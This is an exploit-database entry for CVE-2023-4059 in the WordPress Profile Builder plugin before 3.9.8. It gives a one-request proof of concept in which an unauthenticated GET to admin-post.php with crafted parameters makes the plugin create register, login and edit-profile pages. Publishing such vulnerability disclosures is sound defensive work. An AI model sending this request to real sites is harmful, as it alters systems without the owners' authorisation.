Exploit for Profile Builder < 3.9.8 - Unauthenticated Plugin's Pages Creation CVE-2023-4059

Name: Exploit for Profile Builder < 3.9.8 - Unauthenticated Plugin's Pages Creation CVE-2023-4059
Rating: 5 (71 reviews)

2023-08-09 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:FC719D12-2F58-4D1F-B696-0F937E706842
1. Access the URL: https://example.com/wp-admin/admin-post.php?page=profile-builder-basic-info&wppb_create_pages=true&wppb_force_create_pages=true 
2. As a logged in user, see that the pages `/register`, `/log-in`, and `/edit-profile` have been created.